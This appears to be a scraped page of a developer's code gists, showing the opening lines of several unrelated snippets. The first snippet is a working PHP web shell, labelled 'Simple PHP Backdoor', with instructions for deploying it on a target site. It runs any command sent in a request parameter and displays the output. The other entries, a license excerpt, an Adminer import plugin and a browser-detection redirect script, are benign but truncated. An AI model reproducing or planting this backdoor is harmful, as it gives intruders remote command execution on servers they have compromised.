Roy-Orbison

<?php # Simple PHP Backdoor adapted from DK (One-Liner Version)
# Usage: https://target.com/unique-name-of-your-backdoor.php
<?php if (isset($_REQUEST['cmd'])) { echo '<style>html{height:100%}body{box-sizing:border-box;min-height:100%;margin:0;padding:1ex;background:#000;color:#eee}</style><pre><code>'; ob_start('htmlspecialchars'); system($_REQUEST['cmd']); echo ob_get_clean(), '</code></pre>'; exit; }
echo '<title>$</title><form action="', htmlspecialchars($_SERVER['REQUEST_URI']), '" method=post target=cmd_result><input name=cmd size=80> <input type=submit value=execute></form><hr><iframe name=cmd_result style="width:80em;height:30em">ready</iframe>';

Roy-Orbison

# Copyright 2019 Roy-Orbison
# 
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in

Roy-Orbison

<?php
/**
 * Import SQL files from a directory
 *
 * @author joshcangit, https://github.com/joshcangit
 * @author Roy-Orbison, https://github.com/Roy-Orbison
 */

class AdminerImportFromDir {

Roy-Orbison

window.location.href = (function() {
    var browser = (function() {
        var ua = navigator.userAgent,
            tem,
            M = ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
        if (/trident/i.test(M[1])) {
            tem = /\brv[ :]+(\d+)/g.exec(ua) || [];
            return {
                name: 'IE',
                version: (tem[1] || '')